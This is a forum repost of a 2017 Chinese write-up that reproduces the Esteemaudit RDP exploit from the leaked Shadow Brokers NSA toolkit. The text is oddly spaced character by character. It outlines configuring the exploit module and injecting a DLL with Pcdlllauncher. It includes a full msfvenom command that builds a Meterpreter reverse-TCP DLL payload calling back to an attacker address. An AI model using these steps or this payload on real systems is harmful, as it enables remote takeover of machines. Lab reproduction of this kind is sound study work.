搜索

[11258] 2017-04-20_ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2017-04-20_ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程 S h a d o w B r o k e r 释 放 的 N S A 工 具 中 E s t e e m a u d i t 漏 洞 复 现 过 程 z u s h e n g   F r e e B u f   2 0 1 7 - 0 4 - 2 0 近 日 臭 名 昭 著 的 方 程 式 组 织 工 具 包 再 次 被 公 开 ， 近 日 臭 名 昭 著 的 方 程 式 组 织 工 具 包 再 次 被 公 开 ， T h e S h a d o w B r o k e r s 在 在 s t e e m i t . c o m 博 客 上 提 供 了 相 关 消 息 。 以 下 是 其 中 博 客 上 提 供 了 相 关 消 息 。 以 下 是 其 中 E s t e e m a u d i t 漏 洞 复 现 过 程 。 漏 洞 复 现 过 程 。 前 期 准 备 前 期 准 备 靶 机 环 境 靶 机 环 境 需 要 域 控 环 境
E s t e e m a u d i t 漏 洞 复 现 过 程 漏 洞 复 现 过 程 u s e   E s t e e m a u d i t 使 用 漏 洞 模 块 设 置 目 标 I P 和 端 口 然 后 基 本 上 默 认 ， 基 本 配 置 如 下 ： 运 行 后 再 进 行 配 置 。
然 后 基 本 上 选 择 相 对 应 的 设 置 ， C a l l b a c k I p 填 自 己 的 ， 端 口 随 便 然 后 配 置 D L L 。 注 意 这 里 默 认 路 径 基 本 上 是 不 对 ， 找 到 自 己 对 应 的 文 件 路 径 进 行 修 改 ： 然 后 基 本 上 配 置 如 下
可 以 运 行 了   利 用 利 用 P c d l l l a u n c h e r 注 入 注 入 D L L 使 用 P c d l l l a u n c h e r u s e   P c d l l l a u n c h e r
然 后 生 成 用 于 反 弹 s h e l l 的 d l l   p a y l o a d ：       m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9   L P O R T = 4 4 4 4   - f   d l l   > w i n . d l l 然 后 进 行 配 置 找 到 自 己 对 应 的 文 件 路 径 修 改 要 注 入 的 恶 意 D L L 文 件 路 径 然 后 基 本 上 默 认 ， 运 行 就 行 了 ， 成 功 注 入 查 看 M e t a s p l o i t ， 成 功 返 回 s h e l l
* 本 文 作 者 ： z u s h e n g ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理